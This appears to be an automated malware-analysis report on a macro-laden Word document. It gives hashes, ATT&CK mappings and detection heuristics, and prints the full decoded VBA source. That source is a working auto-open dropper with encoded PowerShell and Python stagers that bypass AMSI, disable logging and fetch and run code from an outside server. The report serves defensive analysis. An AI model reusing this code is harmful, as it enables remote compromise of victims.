Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a96e95917825a4ee…

MALICIOUS

Office (OLE)

44.5 KB Created: 2018-06-26 08:21:00 Authoring application: Microsoft Office Word First seen: 2019-05-31
MD5: 1c0a52bd1a9d64ab79972204da5cb8b7 SHA-1: b201353f36aa264d467d8716087edf626dc027aa SHA-256: a96e95917825a4eec9b502796a1af8a5aecddd7cc561b2c47cd182b5e26fbd49
438 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains VBA macros that are configured to execute automatically upon opening (AutoOpen, Auto_Open). These macros leverage CreateObject and GetObject to interact with WMI (Win32_Process) to launch PowerShell. The PowerShell command 'powershell -noP -sta -w 1 -enc' is a strong indicator of obfuscated execution, likely to download and run a secondary payload. The embedded URL 'http://127.0.0.1/tracking?source=' is also suspicious, potentially used for tracking or as a C2 beacon.

Heuristics 13

  • ClamAV: Doc.Exploit.Generic-6923078-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Exploit.Generic-6923078-0
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
                    Dim Str As String
        Str = "powershell -noP -sta -w 1 -enc  SQBmACgAJABQAFMAVg"
        Str = Str + "BlAHIAcwBJAG8ATgBUAEEAQgBsAGUALgBQAFMAVgBFAFIAcwBJ"
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
    Matched line in script
                    Dim objWeb As Object
                Set objWeb = CreateObject("Microsoft.XMLHTTP")
                objWeb.Open "GET", tracking & "Windows", False
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
                    Dim objWeb As Object
                Set objWeb = CreateObject("Microsoft.XMLHTTP")
                objWeb.Open "GET", tracking & "Windows", False
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
                    'MsgBox(str)
                Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
                Set objStartup = objWMIService.Get("Win32_ProcessStartup")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
    Debugging
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
    Debugging
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://127.0.0.1/tracking?source= In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11175 bytes
SHA-256: f6ea384fcefcbf4a18dd744ed91030e0112d7ca5771026fa6d2cdf09548513c4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
#If Mac Then
    #If VBA7 Then
        Private Declare PtrSafe Function system Lib "libc.dylib" (ByVal command As String) As Long
    #Else
        Private Declare Function system Lib "libc.dylib" (ByVal command As String) As Long
    #End If
#End If

Sub Auto_Open()
    Debugging
End Sub

Sub AutoOpen()
    Debugging
End Sub

Public Function Debugging() As Variant
    On Error Resume Next
            Dim tracking As String
            tracking = "http://127.0.0.1/tracking?source="
            #If Mac Then
                'Mac Rendering
                If Val(Application.Version) < 15 Then 'Mac Office 2011
                    system ("curl " & tracking & "Mac2011")
                Else 'Mac Office 2016
                    system ("curl " & tracking & "Mac2016")
                End If
                Dim result As Long
                Dim Str As String
                Str = "aW1wb3J0IHN5cztpbXBvcnQgcmUsIHN1YnByb2Nlc3M7Y21kID0gIn"
        Str = Str + "BzIC1lZiB8IGdyZXAgTGl0dGxlXCBTbml0Y2ggfCBncmVwIC"
        Str = Str + "12IGdyZXAiCnBzID0gc3VicHJvY2Vzcy5Qb3BlbihjbWQsIH"
        Str = Str + "NoZWxsPVRydWUsIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUpCm"
        Str = Str + "91dCA9IHBzLnN0ZG91dC5yZWFkKCkKcHMuc3Rkb3V0LmNsb3"
        Str = Str + "NlKCkKaWYgcmUuc2VhcmNoKCJMaXR0bGUgU25pdGNoIiwgb3"
        Str = Str + "V0KToKICAgc3lzLmV4aXQoKQppbXBvcnQgdXJsbGliMjsKVU"
        Str = Str + "E9J01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNj"
        Str = Str + "Q7IFRyaWRlbnQvNy4wOyBydjoxMS4wKSBsaWtlIEdlY2tvJz"
        Str = Str + "tzZXJ2ZXI9J2h0dHA6Ly81NC4yNDQuMTgyLjg3OjgwJzt0PS"
        Str = Str + "cvYWRtaW4vZ2V0LnBocCc7cmVxPXVybGxpYjIuUmVxdWVzdC"
        Str = Str + "hzZXJ2ZXIrdCk7CnJlcS5hZGRfaGVhZGVyKCdVc2VyLUFnZW"
        Str = Str + "50JyxVQSk7CnJlcS5hZGRfaGVhZGVyKCdDb29raWUnLCJzZX"
        Str = Str + "NzaW9uPW9POWUwS1NUb01MSWlRNHd2cTBzYTM5dElwaz0iKT"
        Str = Str + "sKcHJveHkgPSB1cmxsaWIyLlByb3h5SGFuZGxlcigpOwpvID"
        Str = Str + "0gdXJsbGliMi5idWlsZF9vcGVuZXIocHJveHkpOwp1cmxsaW"
        Str = Str + "IyLmluc3RhbGxfb3BlbmVyKG8pOwphPXVybGxpYjIudXJsb3"
        Str = Str + "BlbihyZXEpLnJlYWQoKTsKSVY9YVswOjRdO2RhdGE9YVs0Ol"
        Str = Str + "07a2V5PUlWKyc9Vk8zelo1MSFIVURhX2s8aX5UeCYqbWx1ai"
        Str = Str + "1iJVl8dCc7UyxqLG91dD1yYW5nZSgyNTYpLDAsW10KZm9yIG"
        Str = Str + "kgaW4gcmFuZ2UoMjU2KToKICAgIGo9KGorU1tpXStvcmQoa2"
        Str = Str + "V5W2klbGVuKGtleSldKSklMjU2CiAgICBTW2ldLFNbal09U1"
        Str = Str + "tqXSxTW2ldCmk9aj0wCmZvciBjaGFyIGluIGRhdGE6CiAgIC"
        Str = Str + "BpPShpKzEpJTI1NgogICAgaj0oaitTW2ldKSUyNTYKICAgIF"
        Str = Str + "NbaV0sU1tqXT1TW2pdLFNbaV0KICAgIG91dC5hcHBlbmQoY2"
        Str = Str + "hyKG9yZChjaGFyKV5TWyhTW2ldK1Nbal0pJTI1Nl0pKQpleG"
        Str = Str + "VjKCcnLmpvaW4ob3V0KSk="
                'MsgBox("echo ""import sys,base64;exec(base64.b64decode(\"" " & str & " \""));"" | /usr/bin/python &")
                result = system("echo ""import sys,base64;exec(base64.b64decode(\"" " & Str & " \""));"" | /usr/bin/python &")
            #Else
                'Windows Rendering
                Dim objWeb As Object
                Set objWeb = CreateObject("Microsoft.XMLHTTP")
                objWeb.Open "GET", tracking & "Windows", False
                objWeb.send
                Dim Str As String
        Str = "powershell -noP -sta -w 1 -enc  SQBmACgAJABQAFMAVg"
        Str = Str + "BlAHIAcwBJAG8ATgBUAEEAQgBsAGUALgBQAFMAVgBFAFIAcwBJ"
        Str = Str + "AE8ATgAuAE0AQQBqAE8AcgAgAC0AZwBlACAAMwApAHsAJABHAF"
        Str = Str + "AARgA9AFsAcgBFAEYAXQAuAEEAcwBzAGUAbQBiAEwAeQAuAEcA"
        Str = Str + "RQBUAFQAeQBwAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQ"
        Str = Str + "BnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBV"
        Str = Str + "AHQAaQBsAHMAJwApAC4AIgBHAEUAVABGAGkARQBgAGwAZAAiAC"
        Str = Str + "gAJwBjAGEAYwBoAGUAZABHAHIAbwB1AHAAUABvAGwAaQBjAHkA"
        Str = Str + "UwBlAHQAdABpAG4AZwBzACcALAAnAE4AJwArACcAbwBuAFAAdQ"
        Str = Str + "BiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApADsASQBGACgAJABH"
        Str = Str + "AFAARgApAHsAJABHAFAAQwA9ACQARwBQAEYALgBHAEUAdABWAE"
        Str = Str + "EAbAB1AGUAKAAkAE4AdQBMAEwAKQA7AEkARgAoACQARwBQAEMA"
        Str = Str + "WwAnAFMAYwByAGkAcAB0AEIAJwArACcAbABvAGMAawBMAG8AZw"
        Str = Str + "BnAGkAbgBnACcAXQApAHsAJABHAFAAQwBbACcAUwBjAHIAaQBw"
        Str = Str + "AHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAF"
        Str = Str + "sAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCACcAKwAnAGwA"
        Str = Str + "bwBjAGsATABvAGcAZwBpAG4AZwAnAF0APQAwADsAJABHAFAAQw"
        Str = Str + "BbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBn"
        Str = Str + "AGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAH"
        Str = Str + "AAdABCAGwAbwBjAGsASQBuAHYAbwBjAGEAdABpAG8AbgBMAG8A"
        Str = Str + "ZwBnAGkAbgBnACcAXQA9ADAAfQAkAHYAYQBMAD0AWwBDAE8AbA"
        Str = Str + "BsAEUAQwBUAEkATwBuAHMALgBHAEUAbgBlAHIASQBDAC4ARABp"
        Str = Str + "AGMAVABJAE8AbgBhAFIAWQBbAHMAdABSAGkAbgBnACwAUwB5AF"
        Str = Str + "MAdABlAE0ALgBPAGIASgBFAGMAVABdAF0AOgA6AG4AZQB3ACgA"
        Str = Str + "KQA7ACQAVgBBAEwALgBBAGQARAAoACcARQBuAGEAYgBsAGUAUw"
        Str = Str + "BjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBu"
        Str = Str + "AGcAJwAsADAAKQA7ACQAVgBBAGwALgBBAGQAZAAoACcARQBuAG"
        Str = Str + "EAYgBsAGUAUwBjAHIAaQBwAHQAQgBsAG8AYwBrAEkAbgB2AG8A"
        Str = Str + "YwBhAHQAaQBvAG4ATABvAGcAZwBpAG4AZwAnACwAMAApADsAJA"
        Str = Str + "BHAFAAQwBbACcASABLAEUAWQBfAEwATwBDAEEATABfAE0AQQBD"
        Str = Str + "AEgASQBOAEUAXABTAG8AZgB0AHcAYQByAGUAXABQAG8AbABpAG"
        Str = Str + "MAaQBlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQA"
        Str = Str + "bwB3AHMAXABQAG8AdwBlAHIAUwBoAGUAbABsAFwAUwBjAHIAaQ"
        Str = Str + "BwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBd"
        Str = Str + "AD0AJAB2AGEAbAB9AEUATABzAEUAewBbAFMAQwBSAEkAUABUAE"
        Str = Str + "IAbABPAEMASwBdAC4AIgBHAGUAdABGAEkAZQBgAGwARAAiACgA"
        Str = Str + "JwBzAGkAZwBuAGEAdAB1AHIAZQBzACcALAAnAE4AJwArACcAbw"
        Str = Str + "BuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApAC4AUwBl"
        Str = Str + "AHQAVgBhAEwAVQBlACgAJABuAHUAbABMACwAKABOAEUAdwAtAE"
        Str = Str + "8AYgBKAGUAQwB0ACAAQwBvAGwAbABFAGMAdABJAE8AbgBzAC4A"
        Str = Str + "RwBFAG4ARQByAGkAQwAuAEgAYQBzAEgAUwBFAFQAWwBTAFQAcg"
        Str = Str + "BpAE4AZwBdACkAKQB9AFsAUgBFAGYAXQAuAEEAUwBzAEUAbQBC"
        Str = Str + "AEwAeQAuAEcAZQBUAFQAeQBwAEUAKAAnAFMAeQBzAHQAZQBtAC"
        Str = Str + "4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQA"
        Str = Str + "aQBvAG4ALgBBAG0AcwBpAFUAdABpAGwAcwAnACkAfAA/AHsAJA"
        Str = Str + "BfAH0AfAAlAHsAJABfAC4ARwBlAHQARgBJAEUATABkACgAJwBh"
        Str = Str + "AG0AcwBpAEkAbgBpAHQARgBhAGkAbABlAGQAJwAsACcATgBvAG"
        Str = Str + "4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBTAGUA"
        Str = Str + "dABWAEEAbAB1AGUAKAAkAE4AdQBsAEwALAAkAFQAUgBVAEUAKQ"
        Str = Str + "B9ADsAfQA7AFsAUwBZAHMAdABFAG0ALgBOAEUAdAAuAFMAZQBy"
        Str = Str + "AHYASQBDAGUAUABvAEkAbgBUAE0AYQBuAEEAZwBlAFIAXQA6AD"
        Str = Str + "oARQB4AHAAZQBjAHQAMQAwADAAQwBPAE4AVABJAG4AVQBlAD0A"
        Str = Str + "MAA7ACQAdwBDAD0ATgBlAFcALQBPAGIAagBFAEMAVAAgAFMAWQ"
        Str = Str + "BzAHQARQBtAC4ATgBFAHQALgBXAEUAYgBDAGwAaQBFAG4AdAA7"
        Str = Str + "ACQAdQA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAG"
        Str = Str + "kAbgBkAG8AdwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYA"
        Str = Str + "NAA7ACAAVAByAGkAZABlAG4AdAAvADcALgAwADsAIAByAHYAOg"
        Str = Str + "AxADEALgAwACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAk"
        Str = Str + "AHcAYwAuAEgARQBhAEQAZQBSAFMALgBBAEQAZAAoACcAVQBzAG"
        Str = Str + "UAcgAtAEEAZwBlAG4AdAAnACwAJAB1ACkAOwAkAFcAQwAuAFAA"
        Str = Str + "UgBPAHgAWQA9AFsAUwB5AFMAVABlAE0ALgBOAGUAVAAuAFcARQ"
        Str = Str + "BiAFIAZQBxAFUARQBTAHQAXQA6ADoARABFAGYAYQB1AGwAdABX"
        Str = Str + "AGUAQgBQAFIATwB4AHkAOwAkAHcAQwAuAFAAUgBPAFgAeQAuAE"
        Str = Str + "MAUgBFAEQARQBuAFQASQBhAEwAUwAgAD0AIABbAFMAeQBzAHQA"
        Str = Str + "ZQBtAC4ATgBlAHQALgBDAFIAZQBkAEUAbgBUAEkAQQBsAEMAYQ"
        Str = Str + "BDAGgAZQBdADoAOgBEAGUAZgBBAFUATABUAE4ARQB0AHcAbwBS"
        Str = Str + "AEsAQwBSAGUAZABFAE4AdABJAEEATABzADsAJABTAGMAcgBpAH"
        Str = Str + "AAdAA6AFAAcgBvAHgAeQAgAD0AIAAkAHcAYwAuAFAAcgBvAHgA"
        Str = Str + "eQA7ACQASwA9AFsAUwBZAFMAVABlAE0ALgBUAEUAeAB0AC4ARQ"
        Str = Str + "BOAEMAbwBEAEkATgBHAF0AOgA6AEEAUwBDAEkASQAuAEcARQB0"
        Str = Str + "AEIAeQBUAGUAcwAoACcAPQBWAE8AMwB6AFoANQAxACEASABVAE"
        Str = Str + "QAYQBfAGsAPABpAH4AVAB4ACYAKgBtAGwAdQBqAC0AYgAlAFkA"
        Str = Str + "fAB0ACcAKQA7ACQAUgA9AHsAJABEACwAJABLAD0AJABBAFIARw"
        Str = Str + "BzADsAJABTAD0AMAAuAC4AMgA1ADUAOwAwAC4ALgAyADUANQB8"
        Str = Str + "ACUAewAkAEoAPQAoACQASgArACQAUwBbACQAXwBdACsAJABLAF"
        Str = Str + "sAJABfACUAJABLAC4AQwBvAHUAbgB0AF0AKQAlADIANQA2ADsA"
        Str = Str + "JABTAFsAJABfAF0ALAAkAFMAWwAkAEoAXQA9ACQAUwBbACQASg"
        Str = Str + "BdACwAJABTAFsAJABfAF0AfQA7ACQARAB8ACUAewAkAEkAPQAo"
        Str = Str + "ACQASQArADEAKQAlADIANQA2ADsAJABIAD0AKAAkAEgAKwAkAF"
        Str = Str + "MAWwAkAEkAXQApACUAMgA1ADYAOwAkAFMAWwAkAEkAXQAsACQA"
        Str = Str + "UwBbACQASABdAD0AJABTAFsAJABIAF0ALAAkAFMAWwAkAEkAXQ"
        Str = Str + "A7ACQAXwAtAEIAWABvAHIAJABTAFsAKAAkAFMAWwAkAEkAXQAr"
        Str = Str + "ACQAUwBbACQASABdACkAJQAyADUANgBdAH0AfQA7ACQAcwBlAH"
        Str = Str + "IAPQAnAGgAdAB0AHAAOgAvAC8ANQA0AC4AMgA0ADQALgAxADgA"
        Str = Str + "MgAuADgANwA6ADgAMAAnADsAJAB0AD0AJwAvAGwAbwBnAGkAbg"
        Str = Str + "AvAHAAcgBvAGMAZQBzAHMALgBwAGgAcAAnADsAJABXAEMALgBI"
        Str = Str + "AGUAYQBkAGUAcgBTAC4AQQBEAGQAKAAiAEMAbwBvAGsAaQBlAC"
        Str = Str + "IALAAiAHMAZQBzAHMAaQBvAG4APQBXAEYAaABZAFEASwBFAFYA"
        Str = Str + "ZwA0AHMATQB6AEYAMAArAEIAMgA5AGoAYgBZAEUAKwBRACsAVQ"
        Str = Str + "A9ACIAKQA7ACQARABBAHQAQQA9ACQAVwBDAC4ARABPAFcATgBs"
        Str = Str + "AG8AYQBEAEQAQQBUAGEAKAAkAHMAZQByACsAJAB0ACkAOwAkAE"
        Str = Str + "kAVgA9ACQARABBAFQAYQBbADAALgAuADMAXQA7ACQAZABBAHQA"
        Str = Str + "YQA9ACQARABhAFQAQQBbADQALgAuACQARABBAFQAYQAuAGwAZQ"
        Str = Str + "BOAGcAVABoAF0AOwAtAGoAbwBpAE4AWwBDAEgAQQByAFsAXQBd"
        Str = Str + "ACgAJgAgACQAUgAgACQAZABhAFQAQQAgACgAJABJAFYAKwAkAE"
        Str = Str + "sAKQApAHwASQBFAFgA"
                'MsgBox(str)
                Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
                Set objStartup = objWMIService.Get("Win32_ProcessStartup")
                Set objConfig = objStartup.SpawnInstance_
                objConfig.ShowWindow = 0
                Set objProcess = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
                objProcess.Create Str, Null, objConfig, intProcessID
            #End If
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.